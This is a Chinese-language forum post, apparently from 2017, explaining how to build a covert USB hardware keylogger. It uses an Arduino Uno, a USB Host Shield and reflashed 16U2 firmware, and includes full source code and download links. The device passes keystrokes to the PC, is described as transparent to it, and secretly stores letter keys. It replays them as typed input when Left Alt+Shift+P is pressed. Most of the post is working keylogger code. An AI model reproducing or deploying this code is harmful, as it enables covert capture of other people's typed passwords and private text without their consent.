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Arduino打造USB鍵盤記錄器

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剛開始玩Arduino 的時候，我嘗試試驗過一個 PS2鍵盤記錄器：將PS2線剝開，接入Arduino Uno。通過分析PS2協議，鍵盤上按鍵隨時會被記錄在Arduino的EEPROM中【參考1】。


完成之后，我就在思考是否有能記錄USB鍵盤的方法。Arduino 本身使用的主控芯片只有16Mhz，作為USBLow Speed設備發送已經力不從心，更不要說直接對USB 信號采樣。后來偶然的機會接觸到了 Arduino USB Host Shield，發現這個Shield 作為 USBHost具有解析USB協議的能力，可以控制USB設備，解析USBKeyboard/Mouse 更是不在話下。
抓到了USB 鍵盤的數據，下面的問題就是如何發送出去。最傳統的方法是直接用 ArduinoLeonardo 這樣帶有USB控制器的板子，但是經過考察，這個型號的SPI部分引腳與Uno差別很大，導致無法直接使用（后面我還會介紹為什么有差別，以及如何解決）。最終找到可以將Uno模擬為USBKeyboard的方法：將Uno上面的Usb轉串口芯片代碼替換為特殊的Firmware【參考2】，從PC端看去是一個USB Keyboard設備。這個方法的優點是百分百兼容USB Host Shield，缺點是無法直接使用IDE下載，必須用USBISP 之類的設備刷寫Uno上的328P 芯片。具體操作可以在【參考3】看到。
最終方案如下：
第一步，使用 USB Host Shield將鍵盤切換到 Boot Protocol 模式，這樣保證所有的USB鍵盤按照統一的格式輸出按鍵信息；
第二步，Arduino 解析USB鍵盤的按鍵信息，解析之后直接存儲到內存中；
第三步，接收到特定的組合鍵后，將USB  鍵盤的按鍵信息從Atmel16u2發出去
整個過程對于PC也是透明的。
下面是USB HID Keyboard Boot Protocol 使用的格式，上面提到的解析過程和最后的再次發送的過程都會遵循該格式。
        
位置
      
內容
  
   
0
  
Modifier keys:
  Bit 0 – 左 CTRL
  Bit 1 - 左 SHIFT
  Bit 2 - 左 ALT
  Bit 3 - 左 GUI
  Bit 4 – 右 CTRL
  Bit 5 - 右 SHIFT
  Bit 6 - 右 ALT
  Bit 7 - 右 GUI

   
1
  
保留

   
2 - 7
  
HID協議定義的鍵值。 這里有6個bytes,可以同時容納6個按鍵

例如：
直接按下 左 Ctrl ，Usb Host Shield 將會解析出 01 00 0000  00 00 00 00，抬起后還會解析出0000 00 00  00 00 00 00。
分別按下 左 Alt 左 Shift 和 P 鍵后，UsbHost Shield 將會解析出06 00 13 00 00 00 00 00 ，抬起后還會輸出出0000 00 00  00 00 00 00。我們會將這個組合鍵作為輸出記錄值的觸發條件。

  1. /* MAX3421E USB Host controller LCD/keyboard demonstration */
  2. //#include
  3. #include "Max3421e.h"
  4. #include "Usb.h"

  6. /* keyboard data taken from configuration descriptor */
  7. #define KBD_ADDR        1
  8. #define KBD_EP          1
  9. #define KBD_IF          0
  10. #define EP_MAXPKTSIZE   8
  11. #define EP_POLL         0x0a

  13. #define RECORDBUFSIZE  60

  15. /**/
  16. /* "Sticky keys */
  17. #define CAPSLOCK    (0x39)
  18. #define NUMLOCK     (0x53)
  19. #define SCROLLLOCK  (0x47)
  20. /* Sticky keys output report bitmasks */
  21. #define bmNUMLOCK       0x01
  22. #define bmCAPSLOCK      0x02
  23. #define bmSCROLLLOCK    0x04
  24. /**/
  25. EP_RECORD ep_record[ 2 ];  //endpoint record structure for the keyboard

  27. char buf[ 8 ] = { 0 };      //keyboard buffer
  28. char old_buf[ 8 ] = { 0 };  //last poll
  29. /* Sticky key state */
  30. bool numLock = false;
  31. bool capsLock = false;
  32. bool scrollLock = false;
  33. int addr = 0;

  35. char p = 0;
  36. char KeyRecord[RECORDBUFSIZE];

  38. bool OutputMark = false;

  40. MAX3421E Max;
  41. USB Usb;

  43. void setup() {
  44.   Serial.begin( 9600 );
  45.   //Serial.println("Start");
  46.   Max.powerOn();
  47.   delay( 200 );
  48.   for (int i = 0; i < RECORDBUFSIZE; i++)
  49.   {
  50.     KeyRecord[i] = 0x1D; //Init with 'z'
  51.   }
  52. }

  54. void loop() {
  55.   Max.Task();
  56.   Usb.Task();
  57.   if ( Usb.getUsbTaskState() == USB_STATE_CONFIGURING ) { //wait for addressing state
  58.     kbd_init();
  59.     Usb.setUsbTaskState( USB_STATE_RUNNING );
  60.   }
  61.   if ( Usb.getUsbTaskState() == USB_STATE_RUNNING ) { //poll the keyboard
  62.     kbd_poll();
  63.   }
  64.   if (OutputMark) {
  65.     //Send all data to 16U2
  66.     for (int i = 0; i < RECORDBUFSIZE; i++) {
  67.       //Send all data to 16u2
  68.       Serial.write(0); //Byte 0 == 0
  69.       Serial.write(0); //Byte 1 == 0
  70.       Serial.write(KeyRecord[i]); //Byte 2
  71.       Serial.write(0); //Byte 3
  72.       Serial.write(0); //Byte 4
  73.       Serial.write(0); //Byte 5
  74.       Serial.write(0); //Byte 6
  75.       Serial.write(0); //Byte 7

  77.       Serial.write(0); //Byte 0
  78.       Serial.write(0); //Byte 1
  79.       Serial.write(0); //Byte 2
  80.       Serial.write(0); //Byte 3
  81.       Serial.write(0); //Byte 4
  82.       Serial.write(0); //Byte 5
  83.       Serial.write(0); //Byte 6
  84.       Serial.write(0); //Byte 7

  86.     }
  87.     OutputMark = false;
  88.   }
  89. }
  90. /* Initialize keyboard */
  91. void kbd_init( void )
  92. {
  93.   byte rcode = 0;  //return code
  94.   /**/
  95.   /* Initialize data structures */
  96.   ep_record[ 0 ] = *( Usb.getDevTableEntry( 0, 0 )); //copy endpoint 0 parameters
  97.   ep_record[ 1 ].MaxPktSize = EP_MAXPKTSIZE;
  98.   ep_record[ 1 ].Interval  = EP_POLL;
  99.   ep_record[ 1 ].sndToggle = bmSNDTOG0;
  100.   ep_record[ 1 ].rcvToggle = bmRCVTOG0;
  101.   Usb.setDevTableEntry( 1, ep_record );              //plug kbd.endpoint parameters to devtable
  102.   /* Configure device */
  103.   rcode = Usb.setConf( KBD_ADDR, 0, 1 );
  104.   if ( rcode ) {
  105.     //Serial.print("Error attempting to configure keyboard. Return code :");
  106.     //Serial.println( rcode, HEX );
  107.     while (1); //stop
  108.   }
  109.   /* Set boot protocol */
  110.   rcode = Usb.setProto( KBD_ADDR, 0, 0, 0 );
  111.   if ( rcode ) {
  112.     //Serial.print("Error attempting to configure boot protocol. Return code :");
  113.     //Serial.println( rcode, HEX );
  114.     while ( 1 ); //stop
  115.   }
  116.   delay(2000);
  117.   //Serial.println("Keyboard initialized");
  118. }

  120. /* Poll keyboard and print result */
  121. /* buffer starts at position 2, 0 is modifier key state and 1 is irrelevant */
  122. void kbd_poll( void )
  123. {
  124.   byte i;
  125.   static char leds = 0;
  126.   byte rcode = 0;     //return code

  128.   /* poll keyboard */
  129.   rcode = Usb.inTransfer( KBD_ADDR, KBD_EP, 8, buf );
  130.   if ( rcode != 0 ) {
  131.     return;
  132.   }//if ( rcode..

  134.   i = 0;
  135.   while (i < 8) {
  136.     if (old_buf[i] != buf[i]) {
  137.       i = 0xff;
  138.       break;
  139.     }
  140.     i++;
  141.   }

  143.   if (i == 0xff) { //if new key
  144.     switch ( buf[ 0 ] ) {
  145.       case CAPSLOCK:
  146.         capsLock = ! capsLock;
  147.         leds = ( capsLock ) ? leds |= bmCAPSLOCK : leds &= ~bmCAPSLOCK;       // set or clear bit 1 of LED report byte
  148.         break;
  149.       case NUMLOCK:
  150.         numLock = ! numLock;
  151.         leds = ( numLock ) ? leds |= bmNUMLOCK : leds &= ~bmNUMLOCK;           // set or clear bit 0 of LED report byte
  152.         break;
  153.       case SCROLLLOCK:
  154.         scrollLock = ! scrollLock;
  155.         leds = ( scrollLock ) ? leds |= bmSCROLLLOCK : leds &= ~bmSCROLLLOCK;   // set or clear bit 2 of LED report byte
  156.         break;
  157.       default:
  158.         //By pass all data to 16u2
  159.         Serial.write(buf,8);

  161.         //Save the keyvalue to memory
  162.         for (i = 2; i < 8; i++) {
  163.           if ((buf[i] >= 4) && (buf[i] <= 27)) {
  164.             KeyRecord[p] = buf[i];
  165.             p = (p + 1) % RECORDBUFSIZE;
  166.           }
  167.         }

  169.         //If we get 'Output command', we will output all the data in eeprom
  170.         if ((buf[0] == 0x06) && (buf[2] == 0x13) && (buf[3] == 0x00)) {
  171.           OutputMark = true;
  172.         }

  174.         break;
  175.     }//switch( buf[ i ...

  177.     rcode = Usb.setReport( KBD_ADDR, 0, 1, KBD_IF, 0x02, 0, &leds );

  179.     if ( rcode ) {
  180.       //Serial.print("Set report error: ");
  181.       //Serial.println( rcode, HEX );
  182.     }//if( rcode ...

  184.     for ( i = 0; i < 8; i++ ) {                   //copy new buffer to old
  185.       old_buf[ i ] = buf[ i ];
  186.     }
  187.   }//if (i==0xff) {   //if new key


  190. }
  191. /* compare byte against bytes in old buffer */
  192. bool buf_compare( byte data )
  193. {
  194.   char i;
  195.   for ( i = 0; i < 8; i++ ) {
  196.     if ( old_buf[ i ] == data ) {
  197.       return ( true );
  198.     }
  199.   }
  200.   return ( false );
  201. }

復制代碼

上面的程序架構和之前的USB鍵盤轉藍牙鍵盤的架構是一樣的，具體的設計有興趣的讀者可以在【參考5】看到。
對于按鍵的記錄是這樣的：如果發現解析出來的按鍵信息Byte2-7 不為零才主動存儲在內容中，進行循環覆蓋。當檢測到有左 Alt+Shift+P 按下時，將存儲在內存中的鍵值從USB口再次輸出，此時在PC端打開一個記事本工具即可看到內容。本文主要目標是演示思路，所以這部分代碼并沒有優化，實用性方面較差。




完整代碼下載：
KbByPass.zip (16.9 KB, 下載次數: 14)
Arduino 打造USB鍵盤記錄器.rar (11.49 KB, 下載次數: 15)

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沙發
ID:80818 發表于 2017-3-13 19:49 | 只看該作者
感謝分享，期待leonardo的實現方案。
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板凳
ID:169914 發表于 2017-6-19 20:26 | 只看該作者
奇怪了，我不玩arduino的啊，我玩51單片機的，怎么會發這種貼呢？
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